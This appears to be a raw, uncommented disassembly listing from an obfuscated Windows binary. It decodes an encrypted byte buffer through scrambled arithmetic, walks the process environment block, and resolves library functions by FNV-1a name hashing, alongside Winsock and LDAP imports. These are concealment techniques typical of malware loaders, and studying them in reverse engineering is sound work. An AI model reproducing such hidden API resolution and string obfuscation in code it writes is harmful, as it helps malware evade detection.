lea rax, [r11 + 0x7a]
cmp rdi, rax
jbe 0x14014795a
movabs rdx, 0x5d4df5234d25778a
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp rdi, rax
jae 0x140147ad8
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x140147a28
movabs rdx, 0xd15c348bc83ac244
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014767d
movabs rdx, 0xb8557c72e27fc05c
mov ecx, 0x3e
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147cff
movabs rcx, 0xb978b35cbe6557b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140147b60
movabs rdx, 0xba9bea469a4aef14
mov ecx, Ordinal_60
jmp 0x1401475ea
movabs rcx, 0xbbbf213076308670
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x140147cd1
movabs rdx, 0xbce2581a52161dcc
mov ecx, gethostname
jmp 0x140147cbc
movabs rcx, 0xbe058f042dfbb528
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140147c83
movabs rdx, 0xbf28c5ee09e14c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140147bdf
movabs rcx, 0xc04bfcd7e5c6e3e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140147c5b
movabs rdx, 0xc16f33c1c1ac7b3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140147c02
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x140147876
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
jmp 0x1401476d6
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401478a1
movabs rcx, 0xe81c7ed0f62a9574
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140147cff
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401478d0
movabs rdx, 0xe6f947e71a44fe18
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147b60
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401478fb
movabs rcx, 0xe38fa32986943804
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x140147cce
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14014792a
movabs rdx, 0xe26c6c3faaaea0a8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140147c83
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401476d6
movabs rdx, 0xdf02c78216fdda94
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
jmp 0x140147c14
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140147985
movabs rcx, 0x5c2abe39713fe02e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x140147c14
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401479b1
movabs rcx, 0x59e45065b974b176
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
jmp 0x140147c5e
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401479ce
movabs rdx, 0x567aaba825c3eb62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x140147ba5
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401479f9
movabs rcx, 0x555774be49de5406
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x140147b2c
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x140147712
movabs rcx, 0x531106ea9213254e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x140147cff
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140147a53
movabs rcx, 0xd038fda1ec552ae8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
jmp 0x140147cff
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140147a7e
movabs rcx, 0xcbac21fa7cbecd78
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x140147cce
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140147aa5
movabs rdx, 0xca88eb10a0d9361c
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140147af9
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14014767d
movabs rdx, 0xc8427d3ce90e0764
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140147c5b
movabs rdx, 0xc4d8d87f555d4150
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x460]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r9b
jmp 0x140147c83
movabs rdx, 0xc3b5a1957977a9f4
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x460]
add bl, dl
add bl, r9b
movabs rdx, 0x432406208b84de46
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x460], al
add r11, r12
add rax, r11
sub r10, rax
movabs rcx, 0xc2926aab9d921298
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, cl
mov byte [rbp + r10 + 0x460], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140147cff
movabs rdx, 0x6d3af5ed53b3be92
mov ecx, r12d
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147cd1
movabs rdx, 0x6e5e2cd72f9955ee
mov ecx, 0x3f
jmp 0x140147cbc
movabs rdx, 0x70a49aaae76484a6
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147c5e
movabs rdx, 0x72eb087e9f2fb35e
mov ecx, gethostname
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rdx, 0x456a73f443500cfe
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x140147c5b
movabs rcx, 0x7654ad3c32e07972
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
add r11, r12
sub r10, r12
jmp 0x140147d0e
movabs rcx, 0x789b1b0feaaba82a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
movabs rdx, 0x44473d0a676a75a2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x6e
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x140147cce
movabs rdx, 0x79be51f9c6913f86
mov ecx, Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140147d0e
movabs rdx, 0x7e4b2da136279cf6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x460]
add rax, r11
add r10, rax
add r10, r12
jmp 0x1401471b9
movabs rcx, 0x345a3c4060dc2e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x1401471b0
movabs rdx, 0x357d732a3cc1c5f6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401471a0
lea rsi, [rbp + 0x15f2b78]
jmp 0x140147d75
lea rsi, [rbp + 0x16c5fca]
jmp 0x140147d75
lea rsi, [rbp + 0x460]
mov byte [rbp + 0x1110], Ordinal_143
mov byte [rbp + 0x1111], Ordinal_79
mov byte [rbp + 0x1112], Ordinal_217
mov byte [rbp + 0x1113], 0x43
mov byte [rbp + 0x1114], Ordinal_217
mov byte [rbp + 0x1115], 0x41
mov byte [rbp + 0x1116], 0xe3
mov byte [rbp + 0x1117], 0x47
mov byte [rbp + 0x1118], Ordinal_211
mov byte [rbp + 0x1119], 0x45
mov byte [rbp + 0x111a], 0x9b
mov byte [rbp + 0x111b], Ordinal_60
mov byte [rbp + 0x111c], Ordinal_217
mov byte [rbp + 0x111d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x111e], Ordinal_143
mov byte [rbp + 0x111f], 0x3f
mov byte [rbp + 0x1120], 0xaa
mov byte [rbp + 0x1121], 0x3d
mov byte [rbp + 0x1122], 0xa1
mov byte [rbp + 0x1123], gethostname
mov byte [rbp + 0x1124], 0xa4
mov byte [rbp + 0x1125], Ordinal_50
mov byte [rbp + 0x1126], __WSAFDIsSet
mov byte [rbp + 0x1127], Ordinal_60
mov byte [rbp + 0x1128], __WSAFDIsSet
mov byte [rbp + 0x1129], gethostname
mov byte [rbp + 0x112a], 0xbe
mov byte [rbp + 0x112b], Ordinal_46
mov byte [rbp + 0x112c], 0xb1
mov byte [rbp + 0x112d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x112e], 0xbd
mov byte [rbp + 0x112f], Ordinal_50
mov byte [rbp + 0x1130], 0xbe
mov byte [rbp + 0x1131], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1132], Ordinal_200
mov byte [rbp + 0x1133], r14b
mov byte [rbp + 0x1134], 0xfd
mov byte [rbp + 0x1135], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1136], Ordinal_200
mov byte [rbp + 0x1137], Ordinal_41
mov byte [rbp + 0x1138], Ordinal_143
mov byte [rbp + 0x1139], Ordinal_41
mov byte [rbp + 0x113a], 0xfa
mov byte [rbp + 0x113b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x113c], 0xdd
mov byte [rbp + 0x113d], Ordinal_27
mov byte [rbp + 0x113e], 0x88
mov byte [rbp + 0x113f], Ordinal_32
mov byte [rbp + 0x1140], Ordinal_143
mov byte [rbp + 0x1141], Ordinal_32
mov byte [rbp + 0x1142], 0x81
mov byte [rbp + 0x1143], reloc.WS2_32.dll_send
mov byte [rbp + 0x1144], 0x86
mov byte [rbp + reloc.WS2_32.dll_recvfrom45], 0x11
mov byte [rbp + 0x1146], 0xf6
mov byte [rbp + 0x1147], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1148], Ordinal_211
mov byte [rbp + 0x1149], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x114a], __WSAFDIsSet
mov byte [rbp + 0x114b], recv
mov byte [rbp + 0x114c], 0xad
mov byte [rbp + 0x114d], 9
mov byte [rbp + 0x114e], 0x84
mov byte [rbp + 0x114f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1150], 0xad
mov byte [rbp + 0x1151], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1152], __WSAFDIsSet
mov byte [rbp + 0x1153], 3
mov byte [rbp + 0x1154], 0x99
mov byte [rbp + 0x1155], r12b
mov byte [rbp + 0x1156], __WSAFDIsSet
mov byte [rbp + 0x1157], 7
mov byte [rbp + 0x1158], 0x9f
mov byte [rbp + 0x1159], 5
mov byte [rbp + 0x115a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x115b], 0xfb
mov byte [rbp + 0x115c], 0x44
mov byte [rbp + 0x115d], 0xf9
mov byte [rbp + 0x115e], WSASetLastError
mov byte [rbp + 0x115f], 0xff
mov byte [rbp + 0x1160], 0x5d
mov byte [rbp + 0x1161], 0xfd
mov byte [rbp + 0x1162], 0x56
mov byte [rbp + 0x1163], 0xf3
mov byte [rbp + 0x1164], 0x55
mov byte [rbp + 0x1165], 0xf1
mov byte [rbp + 0x1166], 0x60
mov byte [rbp + 0x1167], 0xf7
mov byte [rbp + 0x1168], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1169], 0xf5
mov byte [rbp + 0x116a], 0x47
mov byte [rbp + 0x116b], 0xeb
mov byte [rbp + 0x116c], 0xe8
mov byte [rbp + 0x116d], 0xe9
xor eax, eax
mov dword [rbp + 0x116e], eax
mov word [rbp + 0x1172], ax
mov byte [rbp + 0x1174], al
movabs r14, 0xabd5bd3eff80feb6
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r11, r13
cmp r11, 0x65
jae 0x1401487cd
movzx r9d, byte [rbp + r11 + 0x1110]
mov r8, r9
cmp rdi, r11
ja 0x1401487c4
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014807e
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 6
jmp 0x14014809e
je 0x140148737
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401486ac
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140148683
cmp r10, r11
ja 0x1401487bb
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401480d2
movabs rcx, 0x1888862af594e4ee
add rcx, r11
mov al, r9b
and al, cl
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
jmp 0x140148108
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140148638
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140148618
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401485f6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401485c6
mov dl, bl
lea rax, [rdi + r10]
cmp rax, r11
jbe 0x14014828b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014826a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140148247
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140148225
lea rdi, [r10 + 0x41]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140148795
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014876f
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014819b
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140148203
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401481e2
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401481c1
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
jmp 0x140148115
movabs rdx, 0x9db6cc38bd0651fa
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140148050
movabs rdx, 0xb63f5263b29b36e8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x58
jmp 0x1401485bf
movabs rdx, 0x5e93d7e5b399397c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x14014847f
movabs rcx, 0x6e85d67b4973c10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x140148758
movabs rcx, 0x852e460dc7716d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401486a4
movabs rcx, 0x2d82cb8fc86f6fa0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x14014867e
movabs rdx, 0xd5d75111c96d7234
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x6c
jmp 0x140148654
lea rax, [r10 + 0x1000]
cmp rdi, rax
jae 0x140148351
lea rcx, [r11 + r14]
mov al, r9b
and al, cl
mov edx, 3
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
lea rax, [rdi + r10]
cmp rax, 0x41
je 0x140148598
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401483d9
movabs rdx, 0xf1ee1802e1bcb15e
add rdx, r11
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r9b
cmp rdi, 0x41
jae 0x140148539
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140148486
movabs rdx, 0xa769e2dd751964c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub dl, 0x14
add dl, cl
cmp r10, 0x41
jb 0x14014852a
movabs rcx, 0x77296719cd657c84
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x38]
jmp 0x140148656
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014837c
movabs rcx, 0x31110c55eb29c9dc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140148758
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401483a6
movabs rdx, 0xe0680151e92dc4b4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401485bc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401482b2
movabs rdx, 0x3f15eb49e535ba64
mov ecx, Ordinal_35
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401486a4
jne 0x140148401
movabs rdx, 0x49999280e0beaeca
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140148656
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014842c
movabs rcx, 0xf8f0877cdec2a9a2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x1401486a4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140148456
movabs rdx, 0x579e7174daca9f52
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
jmp 0x1401485bf
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401482ed
movabs rdx, 0xaf49ebf2d9cc9cbe
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
jmp 0x140148702
jne 0x1401484ab
movabs rcx, 0x622218abd65393b8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140148758
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401484da
movabs rdx, 0x11790da7d4578e90
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401486d0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140148509
movabs rdx, 0xc0d002a3d25b8968
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140148593
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140148322
movabs rdx, 0x7026f79fd05f8440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401483c2
mov byte [rbp + r11 + 0x1110], dl
mov bl, dl
jmp 0x140148767
movabs rcx, 0xced4e197cc6779f0
add rcx, r11
mov al, cl
and al, r9b
mov r8d, Ordinal_60
sub r8b, al
add r8b, r8b
add r8b, byte [rbp + r11 + 0x1110]
add r8b, cl
add r8b, r9b
movabs rdx, 0x7aaa9ed6cbe878a6
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x1110], cl
mov bl, r8b
add rdi, r10
jmp 0x1401485e4
movabs rdx, 0x26805c15cb69775c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x1110]
add bl, r9b
add bl, dl
jmp 0x1401486d0
movabs rcx, 0x268d651eefa0d576
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140148767
movabs rcx, 0x1f8af5a4f29add32
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x1401486a4
movabs rcx, 0xc7df7b26f398dfc6
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6a
jmp 0x14014867e
movabs rdx, 0x703400a8f496e25a
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x76
add bl, dl
movabs rdx, 0x22ff2458cce67b3a
add rdx, r11
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x1110], cl
add r10, r12
jmp 0x1401486a4
movabs rdx, 0x118616b0f88eecaa
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r11, r12
jmp 0x140148767
mov r9, r8
movabs rdx, 0xb2d82cb8fc86f6fa
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xd2561954caea7612
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7e
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x1110], al
add r10, r12
add rax, r10
sub r11, rax
movabs rcx, 0x7e2bd693ca6b74c8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x78
add r9b, cl
mov byte [rbp + r11 + 0x1110], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140148758
movabs rdx, 0x38137bcfe82fc22
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r11 + 0x1110]
add rax, r10
add r11, rax
add r11, r12
jmp 0x14014803d
movabs rdx, 0x460b51babe04548e
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014803a
movabs rdx, 0xee5fd73cbf025722
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14014802a
lea rdx, [rbp + 0x16b3358]
jmp 0x1401487d4
lea rdx, [rbp + 0x16c320e]
jmp 0x1401487d4
lea rdx, [rbp + 0x1110]
mov r9d, 0x40
mov r8, rsi
xor ecx, ecx
call r15
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140148945
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14014885f
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r15d
jmp 0x140148851
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140148840
cmp r9d, esi
jne 0x140148936
mov rbx, qword [rcx + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140148936
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140148936
mov edi, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rbx
mov r8d, r15d
jmp 0x1401488b3
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401488a6
cmp r8d, r14d
je 0x1401488c9
test r10d, r10d
jne 0x140148893
jmp 0x140148936
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r11
jbe 0x14014893e
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14014893e
mov esi, r15d
mov r14d, r15d
jmp 0x140148907
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401488f9
jmp 0x14014891c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014890f
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14014880c
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140148ab5
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401489cc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401489be
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401489ad
cmp r8d, esi
jne 0x140148a99
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148a99
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148a99
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148a20
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148a15
cmp edx, r14d
je 0x140148a36
test r9d, r9d
jne 0x140148a00
jmp 0x140148a99
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r11
cmp rbx, r10
jbe 0x140148aae
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140148aae
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148a78
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140148a6a
jmp 0x140148a8d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140148a80
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148aab
cmp qword [rdi + 0x30], r13
jne 0x14014897c
mov rbx, r13
mov qword [0x1404fc158], rbx
